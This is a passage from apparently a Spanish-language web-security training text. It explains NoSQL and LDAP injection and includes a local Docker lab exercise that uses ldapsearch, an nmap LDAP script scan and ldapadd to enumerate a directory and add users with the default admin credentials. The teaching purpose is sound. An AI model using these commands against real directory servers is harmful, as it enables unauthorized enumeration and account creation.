Si la contraseña almacenada en el sistema también se almacena como un número entero (en lugar de como una cadena), la comparación de la contraseña del atacante con la contraseña almacenada podría ser exitosa, lo que permitiría al atacante eludir la autenticación y obtener acceso no autorizado al sistema.
6.13 Inyecciones NoSQL
Las inyecciones NoSQL son una vulnerabilidad de seguridad en las aplicaciones web que utilizan bases de datos NoSQL, como MongoDB, Cassandra y CouchDB, entre otras. Estas inyecciones se producen cuando una aplicación web permite que un atacante envíe datos maliciosos a través de una consulta a la base de datos, que luego puede ser ejecutada por la aplicación sin la debida validación o sanitización.
La inyección NoSQL funciona de manera similar a la inyección SQL, pero se enfoca en las vulnerabilidades específicas de las bases de datos NoSQL. En una inyección NoSQL, el atacante aprovecha las consultas de la base de datos que se basan en documentos en lugar de tablas relacionales, para enviar datos maliciosos que pueden manipular la consulta de la base de datos y obtener información confidencial o realizar acciones no autorizadas.
A diferencia de las inyecciones SQL, las inyecciones NoSQL explotan la falta de validación de los datos en una consulta a la base de datos NoSQL, en lugar de explotar las debilidades de las consultas SQL en las bases de datos relacionales.
A continuación, se proporciona el enlace al proyecto de Github que nos descargamos para poner en práctica esta vulnerabilidad:
- Vulnerable-Node-App: https://github.com/Charlie-belmer/vulnerable-node-app
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- script python nosqli.py
6.14 Inyecciones LDAP
Las inyecciones LDAP (Protocolo de Directorio Ligero) son un tipo de ataque en el que se aprovechan las vulnerabilidades en las aplicaciones web que interactúan con un servidor LDAP. El servidor LDAP es un directorio que se utiliza para almacenar información de usuarios y recursos en una red.
La inyección LDAP funciona mediante la inserción de comandos LDAP maliciosos en los campos de entrada de una aplicación web, que luego son enviados al servidor LDAP para su procesamiento. Si la aplicación web no está diseñada adecuadamente para manejar la entrada del usuario, un atacante puede aprovechar esta debilidad para realizar operaciones no autorizadas en el servidor LDAP.
Al igual que las inyecciones SQL y NoSQL, las inyecciones LDAP pueden ser muy peligrosas. Algunos ejemplos de lo que un atacante podría lograr mediante una inyección LDAP incluyen:
- Acceder a información de usuarios o recursos que no debería tener acceso.
- Realizar cambios no autorizados en la base de datos del servidor LDAP, como agregar o eliminar usuarios o recursos.
- Realizar operaciones maliciosas en la red, como lanzar ataques de phishing o instalar software malicioso en los sistemas de la red.
Para evitar las inyecciones LDAP, las aplicaciones web que interactúan con un servidor LDAP deben validar y limpiar adecuadamente la entrada del usuario antes de enviarla al servidor LDAP. Esto incluye la validación de la sintaxis de los campos de entrada, la eliminación de caracteres especiales y la limitación de los comandos que pueden ser ejecutados en el servidor LDAP.
También es importante que las aplicaciones web se ejecuten con privilegios mínimos en la red y que se monitoreen regularmente las actividades del servidor LDAP para detectar posibles inyecciones.
A continuación, se proporciona el enlace directo al proyecto de Github que nos descargamos para desplegar un laboratorio práctico donde poder ejecutar esta vulnerabilidad:
- LDAP-Injection-Vuln-App: https://github.com/motikan2010/LDAP-Injection-Vuln-App
- LDAP: Qué es y para qué se utiliza este protocolo https://www.profesionalreview.com/2019/01/05/ldap/
Ejercicio
Instalamos openldap con docker:
docker run -p 389:389 --name my-openldap-container --detach osixia/openldap:1.2.2
Descargamos el repositorio de LDAP-Injection-Vuln-App, construimos la imagen y la ejecutamos:
git clone https://github.com/motikan2010/LDAP-Injection-Vuln-App && cd LDAP-Injection-Vuln-App
docker run -p 389:389 --name openldap-container --detach osixia/openldap:1.2.2
docker build -t ldap-client-container .
docker run -dit --link openldap-container -p 8888:80 ldap-client-container
Con el siguiente comando ya podríamos extraer información del servidor LDAP:
ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin 'cn=admin'
(Si no lo tienes instalado: sudo apt-get install slapd ldap-utils -y
)
Con el anterior comando, estamos buscando el usuario admin en el servidor LDAP. Si el usuario admin existe, el servidor LDAP devolverá información sobre el usuario. Si el usuario admin no existe, el servidor LDAP devolverá un mensaje de error.
Con nmap y utilizando scripts podríamos obtener información del servidor LDAP:
nmap -sV --script ldap\* -p 389 localhost
Ahora podemos jugar a concatenar filtros para obtener información del servidor LDAP:
ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin '(&(cn=admin)(description=LDAP*))'
Entramos en el contenedor openldap:
docker exec -it openldap-container bash
Y buscamos el fichero new-user.ldif
en la ruta /container/service/slapd/assets/test
.
Lo copiamos en local y cambiamos los datos a nuestro antojo:
dn: uid=invent,dc=example,dc=org
uid: invent
cn: invent
sn: 3
objectClass: top
objectClass: posixAccount
objectClass: inetOrgPerson
loginShell: /bin/bash
homeDirectory: /home/invent
uidNumber: 14583102
gidNumber: 14564100
userPassword: invent123
mail: invent@example.org
description: Uno que pasaba por aquí
telephoneNumber: 657849302
Creamos desde anfitrión el nuevo usuario referenciando el nuevo fichero:
ldapadd -x -H ldap://localhost -D "cn=admin,dc=example,dc=org" -w admin -f newuser.ldiff
Ahora podremos ver el nuevo usuario creado con el siguiente comando:
ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin
Bien, pues creamos un par más.